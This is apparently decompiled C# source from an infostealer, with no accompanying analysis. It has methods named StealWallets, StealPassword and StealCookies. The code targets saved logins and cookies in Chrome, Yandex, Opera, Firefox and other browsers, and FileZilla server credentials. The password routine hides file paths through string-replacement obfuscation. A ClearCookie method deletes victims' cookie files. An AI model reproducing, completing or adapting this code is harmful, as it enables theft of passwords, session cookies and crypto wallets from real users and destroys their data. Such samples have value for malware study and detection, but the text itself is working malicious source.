// Token: 0x060000B4 RID: 180 RVA: 0x0000488C File Offset: 0x00002A8C public Task <List <BitcoinWallet> > StealWallets() { return(Task.Factory.StartNew <List <BitcoinWallet> >(delegate { List <BitcoinWallet> result; try { result = Dominatroer.sssq2(); } catch { result = new List <BitcoinWallet>(); } return result; })); }
// Token: 0x060000D6 RID: 214 RVA: 0x00005A9C File Offset: 0x00003C9C public static Task <List <BrowserCookie> > cccokies() { return(Task.Factory.StartNew <List <BrowserCookie> >(delegate { List <BrowserCookie> result; try { List <bbbrrooowser> list = new List <bbbrrooowser> { new bbbrrooowser { BrowserName = "Chrome", CookiePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Google\\Chrome\\User Data\\Default\\Cookies" } }, new bbbrrooowser { BrowserName = "Yandex", CookiePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies" } }, new bbbrrooowser { BrowserName = "Kometa", CookiePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Kometa\\User Data\\Default\\Cookies" } }, new bbbrrooowser { BrowserName = "Amigo", CookiePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Amigo\\User\\User Data\\Default\\Cookies" } }, new bbbrrooowser { BrowserName = "Torch", CookiePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Torch\\User Data\\Default\\Cookies" } }, new bbbrrooowser { BrowserName = "Orbitum", CookiePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Orbitum\\User Data\\Default\\Cookies" } }, new bbbrrooowser { BrowserName = "Opera", CookiePaths = new List <string> { Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Opera Software\\Opera Stable\\Cookies" } }, new bbbrrooowser { BrowserName = "Mozilla", CookiePaths = Dominatroer.CookMoz() } }; List <BrowserCookie> list2 = new List <BrowserCookie>(); Dominatroer.KillAwerything(); foreach (bbbrrooowser bbbrrooowser in list) { foreach (string text in bbbrrooowser.CookiePaths) { try { bool flag = File.Exists(text); if (flag) { List <string> list3 = new List <string>(); bool flag2 = bbbrrooowser.BrowserName != "Mozilla"; if (flag2) { eod91kk eod91kk = new eod91kk(text); list3 = eod91kk.Cookies().ToList <string>(); bool flag3 = list3.Count != 0; if (flag3) { list2.Add(new BrowserCookie { FileName = "Cookie.txt", FileArray = Encoding.UTF8.GetBytes(string.Join(Environment.NewLine, list3)), Browser = bbbrrooowser.BrowserName }); } } else { fdddddd fdddddd = new fdddddd(text); list3 = fdddddd.Cookies().ToList <string>(); bool flag4 = list3.Count != 0; if (flag4) { string str = text.Split(new char[] { '\\' })[text.Split(new char[] { '\\' }).Count <string>() - 2]; list2.Add(new BrowserCookie { FileName = str + "_Cookie.txt", FileArray = Encoding.UTF8.GetBytes(string.Join(Environment.NewLine, list3)), Browser = bbbrrooowser.BrowserName }); } } } } catch { } } } result = list2; } catch { result = new List <BrowserCookie>(); } return result; })); }
// Token: 0x060000D4 RID: 212 RVA: 0x000053A8 File Offset: 0x000035A8 public static Task <UserLog> StealPassword() { return(Task.Factory.StartNew <UserLog>(delegate { UserLog result; try { List <qqqqqqqq> list = new List <qqqqqqqq> { new qqqqqqqq { BrowserName = "Chrfl2i93jk4ome".Replace("fl2i93jk4", string.Empty), FilePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Googqwe123213le\\Chrome\\Userqwe123213 Data\\Default\\Login Data".Replace("qwe123213", string.Empty) } }, new qqqqqqqq { BrowserName = "Yandep49812x".Replace("p49812", string.Empty), FilePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Yandex\\YandexBrowser\\Uf123dsser Data\\Default\\Login Daf123dsta".Replace("f123ds", string.Empty) } }, new qqqqqqqq { BrowserName = "Komqweq123eta".Replace("qweq123", string.Empty), FilePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Kometa\\Useqqqwr Data\\Default\\Login Datqqqwa".Replace("qqqw", string.Empty) } }, new qqqqqqqq { BrowserName = "Amiggg234o".Replace("gg234", string.Empty), FilePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Amigo\\wg123User\\User Dawg123ta\\Default\\Login Dawg123ta".Replace("wg123", string.Empty) } }, new qqqqqqqq { BrowserName = "Torchfqqqq".Replace("fqqqq", string.Empty), FilePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Torchw1fdg123\\User w1fdg123Data\\Defaultw1fdg123\\Login Datw1fdg123a".Replace("w1fdg123", string.Empty) } }, new qqqqqqqq { BrowserName = "hhh23Orbitum".Replace("hhh23", string.Empty), FilePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Orbith52342234um\\User Dah52342234ta\\Default\\Login Dath52342234a".Replace("h52342234", string.Empty) } }, new qqqqqqqq { BrowserName = "Opeuuff1ra".Replace("uuff1", string.Empty), FilePaths = new List <string> { Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Opera Si5542oftware\\Opei5542ra Stable\\Login i5542Data".Replace("i5542", string.Empty) } }, new qqqqqqqq { BrowserName = "Mojj311zilla".Replace("jj311", string.Empty), FilePaths = Dominatroer.FileMozl() } }; UserLog userLog = new UserLog { Time = DateTime.Now, UserName = Environment.UserName, ListOfLogs = new List <PasswordContainer>() }; Dominatroer.KillAwerything(); foreach (qqqqqqqq qqqqqqqq in list) { PasswordContainer passwordContainer = new PasswordContainer { Name = qqqqqqqq.BrowserName, ListOfLogs = new List <Log>() }; foreach (string text in qqqqqqqq.FilePaths) { try { bool flag = qqqqqqqq.BrowserName == "Mojj311zilla".Replace("jj311", string.Empty); if (flag) { passwordContainer.ListOfLogs.AddRange(new FireFox(text).GetPasswords()); break; } bool flag2 = File.Exists(text); if (flag2) { passwordContainer.ListOfLogs.AddRange(new Chrome(text).GetPasswords()); } } catch { } } userLog.ListOfLogs.Add(passwordContainer); } try { PasswordContainer passwordContainer2 = new PasswordContainer(); passwordContainer2.Name = "FileZijj3qq211lla".Replace("jj3qq211", string.Empty); passwordContainer2.ListOfLogs = new List <Log>(); try { bool flag3 = File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\FileZilla\\rrevcetecentservers.xml".Replace("revcet", string.Empty)); if (flag3) { using (FileStream fileStream = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\FileZilla\\recentse666322rvers.xml".Replace("666322", string.Empty), FileMode.Open)) { FileZilla3 fileZilla = (FileZilla3)Dominatroer.dbFormat.Deserialize(fileStream); PasswordContainer passwordContainer3 = passwordContainer2; passwordContainer3.Name = passwordContainer3.Name + " " + fileZilla.Version; foreach (Server server in fileZilla.RecentServers.Server) { Log item = new Log { Login = server.User, URL = server.Host + Environment.NewLine + "Портqqqq: ".Replace("qqqq", string.Empty) + server.Port, Password = server.Pass.Text + Environment.NewLine + "Метод ши5233фрования: ".Replace("5233", string.Empty) + server.Pass.Encoding }; passwordContainer2.ListOfLogs.Add(item); } } } } catch (Exception ex) { } finally { userLog.ListOfLogs.Add(passwordContainer2); } } catch { } result = userLog; } catch { result = new UserLog(); } return result; })); }
// Token: 0x060000B6 RID: 182 RVA: 0x000048E0 File Offset: 0x00002AE0 public Task <List <BrowserCookie> > StealCookies() { return(Dominatroer.cccokies()); }
// Token: 0x060000B5 RID: 181 RVA: 0x000048C8 File Offset: 0x00002AC8 public Task <UserLog> StealPassword() { return(Dominatroer.StealPassword()); }
// Token: 0x060000AC RID: 172 RVA: 0x000046BC File Offset: 0x000028BC public Task <bool> ClearCookie() { return(Task.Factory.StartNew <bool>(delegate { bool result; try { List <bbbrrooowser> list = new List <bbbrrooowser> { new bbbrrooowser { BrowserName = "Chrome", CookiePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Google\\Chrome\\User Data\\Default\\Cookies" } }, new bbbrrooowser { BrowserName = "Yandex", CookiePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies" } }, new bbbrrooowser { BrowserName = "Kometa", CookiePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Kometa\\User Data\\Default\\Cookies" } }, new bbbrrooowser { BrowserName = "Amigo", CookiePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Amigo\\User\\User Data\\Default\\Cookies" } }, new bbbrrooowser { BrowserName = "Torch", CookiePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Torch\\User Data\\Default\\Cookies" } }, new bbbrrooowser { BrowserName = "Orbitum", CookiePaths = new List <string> { Environment.GetEnvironmentVariable("LocalAppData") + "\\Orbitum\\User Data\\Default\\Cookies" } }, new bbbrrooowser { BrowserName = "Opera", CookiePaths = new List <string> { Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Opera Software\\Opera Stable\\Cookies" } }, new bbbrrooowser { BrowserName = "Mozilla", CookiePaths = Dominatroer.CookMoz() } }; List <BrowserCookie> list2 = new List <BrowserCookie>(); Dominatroer.KillAwerything(); foreach (bbbrrooowser bbbrrooowser in list) { foreach (string path in bbbrrooowser.CookiePaths) { try { bool flag = File.Exists(path); if (flag) { File.Delete(path); } } catch { } } } result = true; } catch { result = false; } return result; })); }